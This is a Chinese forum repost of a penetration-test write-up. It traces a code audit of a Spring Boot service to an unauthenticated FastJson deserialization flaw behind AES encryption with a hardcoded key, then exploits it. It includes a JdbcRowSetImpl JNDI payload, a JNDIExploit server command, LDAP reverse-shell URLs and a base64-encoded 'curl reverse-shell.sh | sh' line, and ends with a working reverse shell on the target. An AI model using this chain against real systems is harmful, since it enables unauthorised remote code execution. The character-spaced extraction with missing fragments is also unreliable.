搜索

[7658] 2021-06-23_实战从代码审计到Getshell

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-17
2021-06-23_实战从代码审计到Getshell 实 战 从 代 码 审 计 到 G e t s h e l l 原 创   F 1 u Y u 4 n   F 1 u Y u 4 n   2 0 2 1 - 0 6 - 2 3 收 录 于 话 题 # 信 息 安 全   , 3 # 渗 透 实 战   , 2 实 战 从 代 码 审 计 到 实 战 从 代 码 审 计 到 G e t s h e l l 0 x 0 1 在 对 某 目 标 的 渗 透 中 ， 发 现 某 端 口 开 放 了 一 个 服 务 扫 描 的 常 见 信 息 泄 漏 的 路 由 ， 如 、 、 等 都 未 果 。 后 续 通 过 其 他 方 式 拿 到 了 目 标 服 务 的 源 码 ， 需 要 进 行 代 码 审 计 。 0 x 0 2   C o d e   A u d i t 对 于 J a v a 应 用 ， 审 计 首 先 看 l i b 目 录 下 的 依 赖 是 否 有 常 见 的 如 、 等 高 风 险 依 赖 ， 解 压 ,   应 用 的 目 录 在 下 ， 直 观 发 现 使 用 了 ,   很 有 可 能 存 在 反 序 列 化 漏 洞 ， 但 是 使 用 有 漏 洞 的 版 本 并 不 代 表 应 用 一 定 存 在 该 漏 洞 ， 具 体 还 得 看 开 发 的 使 用 方 式 ， 是 否 对 客 户 端 可 控 参 数 值 直 接 进 行 了 反 序 列 化 操 作 ， 同 时 接 口 还 得 存 在 身 份 认 证 缺 陷 。 S p r i n g B o o t S p r i n g B o o t / a c t u a t o r / e n v / s w a g g e r - u i . h t m l S h i r o F a s t J s o n X X X X . R E L E A S E . j a r S p r i n g B o o t l i b B O O T - I N F / l i b f a s t j o n - 1 . 2 . 4 . j a r F a s t J s o n
将 解 压 后 的 目 录 使 用 打 开 ， 首 先 得 确 定 路 由 ， 应 用 的 路 由 一 般 在 目 录 中 定 义 ， 本 应 用 中 的 目 录 如 下 ： 那 么 如 何 寻 找 可 能 存 在 反 序 列 化 的 点 ， 两 个 条 件 c l a s s 中 引 入 了 的 使 用 ， 即 在 代 码 前 部 有 和 c l a s s 有 对 客 户 端 可 控 参 数 值 进 行 了 反 序 列 化 操 作 ， 可 以 搜 索 关 键 字 来 判 定 在 本 应 用 中 ， 恰 好 存 在 同 时 满 足 以 上 两 条 件 ， 二 层 路 由 直 接 对 函 数 的 返 回 值 进 行 了 反 序 列 化 操 作 ， 同 时 该 路 由 无 须 身 份 认 证 即 可 访 问 。 I D E A S p r i n g B o o t c o n t r o l l e r c o n t r o l l e r f a s t j s o n i m p o r t   c o m . a l i b a b a . f a s t j s o n . J S O N ; i m p o r t   c o m . a l i b a b a . f a s t j s o n . J S O N O b j e c t ; p a r s e C a l l * * C o n t r o l l e r . c l a s s / c a l l * * * * / s e n d * * * * g e t J S O N ( ) j s o n s t r
查 看 代 码 ， 其 对 用 户 可 控 输 入 调 用 函 数 进 行 了 A E S 解 密 操 作 ， 同 时 解 密 密 钥 为 硬 编 码 的 . 查 看 函 数 ， 首 先 对 输 入 的 密 文 进 行 了 解 码 ， 然 后 使 用 作 为 分 组 模 式 ， 作 为 分 组 方 法 ， 初 始 化 向 量 为 硬 编 码 的 . 至 此 ， 整 个 漏 洞 利 用 过 程 已 经 清 晰 ： F a s t J s o n   p a y l o a d   →   A E S 加 密   →   B a s e 6 4 编 码   →   发 送 到 服 务 端   →   B a s e 6 4 解 码   →   A E S 解 密   →   反 序 列 化 字 符 串   →   漏 洞 利 用 成 功 0 x 0 3   G e t s h e l l P a y l o a d g e t J S O N ( ) A E S U t i l . d e c r y p t A E S v * * * * * * * * * * * * * * x A E S U t i l . d e c r y p t A E S b a s e 6 4 C B C P K C S 5 P a d d i n g 1 * * * * * * * * * * * * * * g
P a y l o a d 使 用 ： J N D I J N D I 注 入 服 务 端 选 择 使 用     搭 建 ， 命 令 ： 经 过 多 次 测 试 可 以 利 用 成 功 ， 我 们 选 择 . 将 反 弹 s h e l l 命 令 进 行 b a s e 6 4 编 码 ， 加 密 前 的 P a y l o a d 如 下 A E S   E n c r y p t A E S 加 密 可 选 取 ,   填 入 ,   ,   选 中 模 式 即 可 E x p l o i t 发 包 发 包 { " @ t y p e " : " c o m . s u n . r o w s e t . J d b c R o w S e t I m p l " , " d a t a S o u r c e N a m e " : " l d a p : / / 1 2 7 . 0 . 0 . 1 : 3 8 9 / o b j " , " a u t o C o m m i t " : t r u e } h t t p s : / / g i t h u b . c o m / f e i h o n g - c s / J N D I E x p l o i t j a v a   - j a r   J N D I E x p l o i t - 1 . 2 - S N A P S H O T . j a r   - i   V P S _ I P l d a p : / / 1 2 7 . 0 . 0 . 1 : 1 3 8 9 / T o m c a t B y p a s s / C o m m a n d / B a s e 6 4 / [ b a s e 6 4 _ e n c o d e d _ c m d ] l d a p : / / 1 2 7 . 0 . 0 . 1 : 1 3 8 9 / T o m c a t B y p a s s / R e v e r s e S h e l l / [ i p ] / [ p o r t ] l d a p : / / 1 2 7 . 0 . 0 . 1 : 1 3 8 9 / T o m c a t B y p a s s / C o m m a n d / B a s e 6 4 / [ b a s e 6 4 _ e n c o d e d _ c m d ] c u r l   h t t p s : / / r e v e r s e - s h e l l . s h / [ i p ] : [ p o r t ]   |   s h { " @ t y p e " : " c o m . s u n . r o w s e t . J d b c R o w S e t I m p l " , " d a t a S o u r c e N a m e " : " l d a p : / / [ i p ] : 1 3 8 9 / T o m c a t B y p a s s / C o m m a n d / B a s e 6 4 / Y 3 V y b C B o d H R w c z o v L 3 J l d m * * * * * * * * * * * * * * * * * * * * * * * * * * * * 6 N z c 3 N y B 8 I H N o " , " a u t o C o m m i t " : t r u e } h t t p s : / / g c h q . g i t h u b . i o / C y b e r C h e f k e y i v c b c
L D A P 注 入 注 入 反 弹 反 弹 s h e l l 成 功 成 功
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理